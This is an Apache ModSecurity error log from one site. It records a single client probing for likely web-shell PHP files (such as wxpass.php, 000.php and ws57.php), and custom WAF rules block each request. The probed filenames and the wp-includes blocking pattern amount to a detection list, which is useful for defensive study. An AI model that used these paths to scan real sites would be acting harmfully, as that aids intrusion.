[Sat Apr 18 05:06:45.217126 2026] [:error] [pid 9863:tid 9876] [client 172.213.226.43:6956] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "aeKg5TjjiypiFrTucbL9VwAAAAM"]
[Sat Apr 18 05:06:46.084518 2026] [:error] [pid 9865:tid 9940] [client 172.213.226.43:7068] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "aeKg5qzb5knECIY-C-iOcgAAAIM"]
[Sat Apr 18 05:06:46.695513 2026] [:error] [pid 9970:tid 9984] [client 172.213.226.43:7160] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "aeKg5iYdRLRhVmaIMx2lhwAAAMo"]
[Sat Apr 18 05:06:47.431471 2026] [:error] [pid 9864:tid 9916] [client 172.213.226.43:6874] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "aeKg54CFeowknfXHM7ki8gAAAEo"]
[Sat Apr 18 05:06:50.775045 2026] [:error] [pid 9970:tid 9995] [client 172.213.226.43:7046] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wglum1.php"] [unique_id "aeKg6iYdRLRhVmaIMx2lmQAAANU"]
[Sat Apr 18 05:06:51.554597 2026] [:error] [pid 9970:tid 9981] [client 172.213.226.43:6921] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wglum1.php"] [unique_id "aeKg6yYdRLRhVmaIMx2lnwAAAMc"]
[Sat Apr 18 05:06:52.182383 2026] [:error] [pid 9864:tid 9921] [client 172.213.226.43:7152] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wglum1.php"] [unique_id "aeKg7ICFeowknfXHM7ki-gAAAE8"]
[Sat Apr 18 05:06:53.153849 2026] [:error] [pid 9970:tid 9994] [client 172.213.226.43:6963] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wglum1.php"] [unique_id "aeKg7SYdRLRhVmaIMx2lqQAAANQ"]
[Sat Apr 18 05:06:54.306624 2026] [:error] [pid 9863:tid 9878] [client 172.213.226.43:7149] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "aeKg7jjjiypiFrTucbL9YQAAAAU"]
[Sat Apr 18 05:06:55.515362 2026] [:error] [pid 9970:tid 9998] [client 172.213.226.43:7146] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "aeKg7yYdRLRhVmaIMx2lswAAANg"]
[Sat Apr 18 05:06:56.492137 2026] [:error] [pid 9970:tid 9977] [client 172.213.226.43:6972] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "aeKg8CYdRLRhVmaIMx2ltQAAAMM"]
[Sat Apr 18 05:06:57.686092 2026] [:error] [pid 9970:tid 9974] [client 172.213.226.43:7158] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "aeKg8SYdRLRhVmaIMx2luwAAAMA"]
[Sat Apr 18 05:06:59.396715 2026] [:error] [pid 9864:tid 9919] [client 172.213.226.43:7161] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper.php"] [unique_id "aeKg84CFeowknfXHM7kjFQAAAE0"]
[Sat Apr 18 05:07:00.437882 2026] [:error] [pid 9864:tid 9926] [client 172.213.226.43:6906] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper.php"] [unique_id "aeKg9ICFeowknfXHM7kjGgAAAFQ"]
[Sat Apr 18 05:07:02.478897 2026] [:error] [pid 9970:tid 9983] [client 172.213.226.43:7052] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper.php"] [unique_id "aeKg9iYdRLRhVmaIMx2lygAAAMk"]
[Sat Apr 18 05:07:03.644267 2026] [:error] [pid 9970:tid 9995] [client 172.213.226.43:7069] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper.php"] [unique_id "aeKg9yYdRLRhVmaIMx2lzwAAANU"]
[Sat Apr 18 05:07:04.302765 2026] [:error] [pid 9865:tid 9953] [client 172.213.226.43:6925] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wxpass.php"] [unique_id "aeKg-Kzb5knECIY-C-iOkAAAAJA"]
[Sat Apr 18 05:07:04.854600 2026] [:error] [pid 9970:tid 9975] [client 172.213.226.43:6944] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wxpass.php"] [unique_id "aeKg-CYdRLRhVmaIMx2l1gAAAME"]
[Sat Apr 18 05:07:05.732476 2026] [:error] [pid 9970:tid 9991] [client 172.213.226.43:7132] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wxpass.php"] [unique_id "aeKg-SYdRLRhVmaIMx2l2wAAANE"]
[Sat Apr 18 05:07:06.281198 2026] [:error] [pid 9864:tid 9913] [client 172.213.226.43:7164] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wxpass.php"] [unique_id "aeKg-oCFeowknfXHM7kjOgAAAEc"]
[Sat Apr 18 05:07:07.516160 2026] [:error] [pid 9970:tid 9996] [client 172.213.226.43:7125] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/000.php"] [unique_id "aeKg-yYdRLRhVmaIMx2l3gAAANY"]
[Sat Apr 18 05:07:08.595327 2026] [:error] [pid 9865:tid 9958] [client 172.213.226.43:7145] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/000.php"] [unique_id "aeKg_Kzb5knECIY-C-iOmAAAAJU"]
[Sat Apr 18 05:07:09.980811 2026] [:error] [pid 9865:tid 9941] [client 172.213.226.43:7124] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/000.php"] [unique_id "aeKg_azb5knECIY-C-iOmwAAAIQ"]
[Sat Apr 18 05:07:11.068977 2026] [:error] [pid 9970:tid 9998] [client 172.213.226.43:7016] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/000.php"] [unique_id "aeKg_yYdRLRhVmaIMx2l5AAAANg"]
[Sat Apr 18 05:07:12.478357 2026] [:error] [pid 9864:tid 9909] [client 172.213.226.43:7142] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "aeKhAICFeowknfXHM7kjWQAAAEQ"]
[Sat Apr 18 05:07:20.160131 2026] [:error] [pid 9864:tid 9912] [client 172.213.226.43:6958] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aeKhCICFeowknfXHM7kjhAAAAEY"]
[Sat Apr 18 05:07:20.947184 2026] [:error] [pid 9970:tid 9983] [client 172.213.226.43:7117] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aeKhCCYdRLRhVmaIMx2mBgAAAMk"]
[Sat Apr 18 05:07:21.913660 2026] [:error] [pid 9970:tid 9976] [client 172.213.226.43:6931] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aeKhCSYdRLRhVmaIMx2mCQAAAMI"]
[Sat Apr 18 05:07:22.979291 2026] [:error] [pid 9863:tid 9889] [client 172.213.226.43:7116] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aeKhCjjjiypiFrTucbL9nwAAABA"]
[Sat Apr 18 05:07:23.992477 2026] [:error] [pid 9970:tid 9982] [client 172.213.226.43:7134] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeKhCyYdRLRhVmaIMx2mFwAAAMg"]
[Sat Apr 18 05:07:24.839479 2026] [:error] [pid 9864:tid 9910] [client 172.213.226.43:7150] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeKhDICFeowknfXHM7kjnQAAAEU"]
[Sat Apr 18 05:07:27.667484 2026] [:error] [pid 9863:tid 9875] [client 172.213.226.43:6923] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeKhDzjjiypiFrTucbL9pAAAAAI"]
[Sat Apr 18 05:07:28.899390 2026] [:error] [pid 9863:tid 9874] [client 172.213.226.43:7002] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeKhEDjjiypiFrTucbL9rwAAAAE"]
[Sat Apr 18 05:07:32.825836 2026] [:error] [pid 9863:tid 9895] [client 172.213.226.43:6981] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aeKhFDjjiypiFrTucbL9ywAAABY"]
[Sat Apr 18 05:07:33.961120 2026] [:error] [pid 9865:tid 9940] [client 172.213.226.43:6936] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aeKhFazb5knECIY-C-iOsQAAAIM"]
[Sat Apr 18 05:07:35.420746 2026] [:error] [pid 9864:tid 9914] [client 172.213.226.43:7153] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aeKhF4CFeowknfXHM7kjyAAAAEg"]
[Sat Apr 18 05:07:37.056584 2026] [:error] [pid 9970:tid 9977] [client 172.213.226.43:7074] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aeKhGSYdRLRhVmaIMx2mMAAAAMM"]
[Sat Apr 18 05:07:38.303375 2026] [:error] [pid 9970:tid 9976] [client 172.213.226.43:6943] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "aeKhGiYdRLRhVmaIMx2mNgAAAMI"]
[Sat Apr 18 05:07:40.069150 2026] [:error] [pid 9970:tid 9978] [client 172.213.226.43:7064] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "aeKhHCYdRLRhVmaIMx2mOQAAAMQ"]
[Sat Apr 18 05:07:41.944485 2026] [:error] [pid 9864:tid 9912] [client 172.213.226.43:7108] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "aeKhHYCFeowknfXHM7kj0wAAAEY"]
[Sat Apr 18 05:07:43.835159 2026] [:error] [pid 9970:tid 9991] [client 172.213.226.43:6856] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "aeKhHyYdRLRhVmaIMx2mWgAAANE"]
[Sat Apr 18 05:07:44.881536 2026] [:error] [pid 9970:tid 9989] [client 172.213.226.43:6881] [client 172.213.226.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wincust.php"] [unique_id "aeKhICYdRLRhVmaIMx2mYwAAAM8"]
[Sat Apr 18 05:07:45.965854 2026] [:error] [pid 9970:tid 9975] [client 172.213.226.43:7072] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "aeKhISYdRLRhVmaIMx2mZwAAAME"]
[Sat Apr 18 05:07:46.709340 2026] [:error] [pid 9863:tid 9882] [client 172.213.226.43:6902] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "aeKhIjjjiypiFrTucbL9-wAAAAk"]
[Sat Apr 18 05:07:47.484017 2026] [:error] [pid 9865:tid 9949] [client 172.213.226.43:7132] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "aeKhI6zb5knECIY-C-iOuQAAAIw"]
[Sat Apr 18 05:07:48.351474 2026] [:error] [pid 9865:tid 9954] [client 172.213.226.43:7092] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "aeKhJKzb5knECIY-C-iOuwAAAJE"]
[Sat Apr 18 05:07:50.038982 2026] [:error] [pid 9970:tid 9988] [client 172.213.226.43:7040] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "aeKhJiYdRLRhVmaIMx2mawAAAM4"]
[Sat Apr 18 05:07:50.779996 2026] [:error] [pid 9865:tid 9939] [client 172.213.226.43:6883] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "aeKhJqzb5knECIY-C-iOxQAAAII"]
[Sat Apr 18 05:07:53.004216 2026] [:error] [pid 9970:tid 9989] [client 172.213.226.43:6899] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "aeKhKSYdRLRhVmaIMx2mbwAAAM8"]
[Sat Apr 18 05:07:53.668304 2026] [:error] [pid 9864:tid 9920] [client 172.213.226.43:7136] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "aeKhKYCFeowknfXHM7kj8AAAAE4"]
[Sat Apr 18 05:07:54.736407 2026] [:error] [pid 9865:tid 9949] [client 172.213.226.43:6926] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "aeKhKqzb5knECIY-C-iOzgAAAIw"]
[Sat Apr 18 05:07:56.116595 2026] [:error] [pid 9864:tid 9908] [client 172.213.226.43:7058] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "aeKhLICFeowknfXHM7kj-gAAAEM"]
[Sat Apr 18 05:07:56.990219 2026] [:error] [pid 9970:tid 9978] [client 172.213.226.43:7065] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "aeKhLCYdRLRhVmaIMx2mgwAAAMQ"]
[Sat Apr 18 05:07:57.892778 2026] [:error] [pid 9970:tid 9992] [client 172.213.226.43:6893] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "aeKhLSYdRLRhVmaIMx2miAAAANI"]
[Sat Apr 18 05:07:58.707873 2026] [:error] [pid 9970:tid 9991] [client 172.213.226.43:7047] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "aeKhLiYdRLRhVmaIMx2mjwAAANE"]
[Sat Apr 18 05:07:59.750298 2026] [:error] [pid 9970:tid 9996] [client 172.213.226.43:6857] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "aeKhLyYdRLRhVmaIMx2mlQAAANY"]
